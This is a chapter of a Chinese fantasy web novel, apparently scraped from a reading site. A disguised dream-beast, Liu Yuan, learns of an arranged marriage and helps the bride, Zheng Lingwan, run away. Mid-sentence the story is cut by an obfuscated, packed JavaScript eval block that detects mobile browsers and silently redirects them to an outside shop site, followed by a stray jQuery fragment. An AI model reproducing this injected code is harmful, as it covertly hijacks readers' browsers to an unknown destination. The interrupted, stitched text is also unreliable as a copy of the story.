柳沅三下两下不知道拐去了哪里，再次出来时已然换了一副打扮。
她眼睛圆溜肤色白皙，只好给自己抹上了一层灰掩盖，此时身穿褐色短打褪去发饰髻环，装作成一位跑腿小郎君倒也是有模有样。
站在巷口，柳沅思考了一会儿该去哪里，最后做好决定打算去小贩叫卖的地方看看。
这边热闹很多，叫卖声不绝于耳，来往的大人小孩大多挂着笑容。俗话说得好，大隐隐于市，柳沅心中默念两遍这句话，随即从容地往人群中走。
“欸这位娘子，最近可有什么流行的款式？”柳沅动作自然地在首饰摊车捡起一只发簪，随意地问。
卖这些东西的是一位年轻小娘子，约莫十八九岁的样子，她莞尔一笑，热情地招待：“那得看郎君是要买给谁了，送家中娘亲跟意中人的东西可不一样。”
柳沅故作害羞，伸手挠了挠头，声音带着点自豪地说：“送给心上人的。”
小娘子听到这话扑哧一下笑出声来，抬手指着两只簪子介绍道：“送给心上人要看她喜欢什么，要是喜欢风雅些的，这只绿雪含芳簪就不错；要是喜欢艳丽些的，这只凤蝶鎏金银簪也是极好的。”
柳沅认同地点点头，要了那只凤蝶鎏金银簪，然后从荷包里翻出铜板递了出去。她都快忘记这些孤零零的铜板是从哪里捡到的了，反正她也不进城，就一直留在了身上，幸好够用。
给完钱趁着卖家收拾的途中，柳沅装作不经意地问：“也不知道最近是哪两家人结亲，弄得这般大排场。”
“可不是嘛，听说那位小姐是侯府的千金哩，这样的身家自然要气派些。”摊主娘子见她给钱爽快，笑着多说了几句。
“哦？”柳沅适当地展现出几分惊讶，“我倒不知这里还有这样身份的人。”
小娘子眯起眼睛笑得精明：“我们这些做首饰生意的自然对女子要了解些。”
“佩服佩服。”柳沅说完又摆出好奇的模样：“那这位千金小姐是跟谁成婚？”
“据说是京城中给她安排的夫婿，一到我们这就做了官，外貌也十分俊俏。”摊主把簪子简单包好，又送了根同色发带，“郎君您收好，这点小东西算作添头，您心上人可真是好福气。”
收下东西后柳沅报以灿烂的一笑，然后转身离开。
看来八九不离十就是那家伙，柳沅叹了口气，心道算了算了或许这就是缘分。
——
一道黑影从房檐上飞过，燕子掠水般轻点几下瓦片跃起又落下。
柳沅换了一身夜行衣出来找郑灵琬，天色黑下来的那一刻她的妖力就在逐渐增强，现在已经是全胜时期。
白萼也跟着露面，夜里人少，她藏在柳沅肩头倒是不会被发现。
郑灵琬住的地方离这里不远，不过几个呼吸间就到了，柳沅小心翼翼地从院子里跃到主卧屋顶上，悄无声息揭开一片瓦。
她对白萼使了个眼神，意思是让她先去放安魂香，白萼动作敏捷，无声沉入房中。
柳沅紧跟其后，翻身做了梁上君子，毕竟要是在屋顶上呆太久被发现就不好了。
默默念完织梦咒后，柳沅的瞳孔变成金色竖瞳，眼睛一闭进了郑灵琬的梦境。
这次她不打算对梦境的主人做些什么，只是往里面加了些安魂好梦的咒语，潜入梦中单纯是出于魇兽天生对梦的好奇。
一阵嘈杂的声音响起，柳沅变作一只蝴蝶出现在高高的房梁上，只见下方一桌年轻男女正在大口吃肉大口喝酒。
她很容易就在里面找到了郑灵琬，因为她最为出众。柳沅有些震惊郑灵琬的改变：柔美的面庞在太阳的照耀下变得粗粝，声音也从端庄沉稳变得大开大合，时而高呼时而大笑，而那一丝藏在情绪下的愁绪也早已消失不见。
原来这就是郑灵琬的美梦吗？柳沅有一些拿不准。
虽然她和郑灵琬相处不久，但对方细腻的心思和无微不至的照顾让她印象深刻，柳沅一直以为温柔是郑灵琬的本性。
正在柳沅胡思乱想之际，桌上的人已经吃饱喝足在往外走，她扇动着翅膀跟了出去。
郑灵琬首当其冲，她从树下牵起一匹马，动作利落地翻身上去，整个人显得鲜活又漂亮。
柳沅这才发现她们居然在荒漠中。
荒漠的黄沙蔓及到天边，空中是落日残金，柳沅看着郑灵琬飘摇的发丝好像感受到了沙砾的柔软。一阵驼铃响起，郑灵琬纵马冲向太阳，回头时脸上的笑容烫到了柳沅的眼，她的同伴大笑着追逐她而去，柳沅觉得眼中有些湿润。
蝴蝶有眼泪吗？柳沅不知道。
刚刚那一瞬间的动容从何而来？
柳沅看着她们渐行渐远，像是话本故事里结尾一样。抬手擦了一下眼睛，她已经变回人形，不由自主地去追逐郑灵琬留下的痕迹。
为什么这里的你跟外面的完全不同？
为什么这里的你看起来如此耀眼？
这真的是你的选择吗？
不知道是不是因为柳沅的不稳定，原本平静的沙漠扬起了飞沙，一片昏黄迷住了柳沅的眼，她只好停住脚步站在原地。
在呼啸的风声中，柳沅听到了郑灵琬的声音穿过黄沙而来，带着临危不乱的笑意：“这是哪家的小娘子？怎么如此不小心？”
一道力气传来，柳沅被拉上了马，她感受到身后砰砰作响的心跳。
柳沅笑出了声，喃喃说了句什么，身后传来郑灵琬的追问，她突然大声喊道：“郑灵琬！你想不想嫁人！”
郑灵琬的声音被风撕碎，却仍然一字不落地传进了柳沅的耳朵里：“不嫁！”
“那要是有人逼你整么办？”
“那我就逃，逃到天涯海角！”
两人不受控制地笑出声，声音越来越大甚至要盖过风沙的席卷。柳沅感受到身后人生动的语气，心中想：或许她可以试着去帮郑灵琬。
说她自作多情也好，说她多管闲事也罢，柳沅实在做不到见过如此肆意的郑灵琬后，再眼睁睁看着她去做自己不喜欢的事情。
梦境一下子破灭，柳沅从房梁上翻身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596821|204873||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
而下，走到郑灵琬床边牵起她的手，像刚刚对方拉起自己一样拉起她，迎着郑灵琬错愕的目光，柳沅坚定地说：“逃吧。”
郑灵琬刚从梦中醒来，整个人很懵，看见突然出现的柳沅有一些不知所措，刚刚梦境中纵情大笑的情绪还没缓过来，她下意识跟着柳沅起身握紧了对方的手。
迎着郑灵琬呆滞的眼神，柳沅心生一计忽然坏笑道：“其实我是天上的仙子，上天听到了你的祈祷让我来救你于水火。”
“真的吗？”郑灵琬缓过了神，笑着跟着她开玩笑。
“是真的。”柳沅煞有其事的点点头，然后也笑了，“骗你的，其实我是山里的妖怪，救你是有条件的，你以后每年都要给我寄金子，不然我就吃了你。”
郑灵琬鼻尖一酸，伸手抱住了柳沅，带着哽咽和感动说：“谢谢你。”
此时已经是第二日的早夜，柳沅询问道：“你可做了准备？”
“东西已经备好，只是一直没敢行动。”郑灵琬有些不好意思的说，用手捶了一下自己，在痛恨自己的懦弱和优柔寡断。
柳沅拉住郑灵琬的手，安慰她说：“东西准备好了就没事，等后日我扮作新娘再假装暴毙，左右那时你已经逃得远远的了，这里的事情就跟你没关系了。”
郑灵琬眼眶一热，险些落泪：“你为什么要这么做？你不担心你以后的日子不好过吗？救了我你有什么好处？”她从小到大被教导的东西就是这些，所以现在她也想不通柳沅做这件事情的原因。
“我说了，我是妖怪，你要给我送钱的。”柳沅俏皮地眨眨眼，按下心中的担忧。
其实她也很担心这件事，万一郑灵琬离开后又后悔怎么办？万一她以后过得不好怎么办？但现在没有时间考虑这些，她希望可以给郑灵琬一个做选择的机会，就算她以后怨她也没关系，谁让她是一只可爱包容的小魇兽。
两个女子的友谊便由此诞生，原因很简单，只是不愿看到灿烂的她在泥潭里打滚。
——
时间在郑灵琬收拾打探的过程中过得很快，在她背上行囊要向新生活孤身出发时，柳沅正在上新娘妆。
接亲的队伍会来得很早，此时这个忙碌的夜就是她最好逃离的时间。
郑灵琬拿好钱财和武器，双手因激动而有些颤抖，在离开前她又去见了柳沅一面。柳沅刚描完眉，她们魇兽都是夜里活动，此时倒也不觉得困，神采奕奕地问郑灵琬怎么又回来了。
话还没说完，柳沅就被揽入一个温暖的怀抱，郑灵琬滚烫的眼泪滴在她颈窝，她无奈一笑伸手抱回去。
“好啦好啦，快走吧，去你想去的地方。”柳沅柔声安慰道。
“谢谢你。”郑灵琬低声说完这句话，从妆匣中抽出柳沅前两天顺手买的凤蝶鎏金银簪，沾了泪水的眼睛染上笑意，“这个我带走做纪念，我会回来找你的，等我变厉害以后。”
柳沅心中一软，温柔点点头。
她看着郑灵琬决绝而去的背影心中滋味复杂，千言万语最后只凝作一句祝她安好。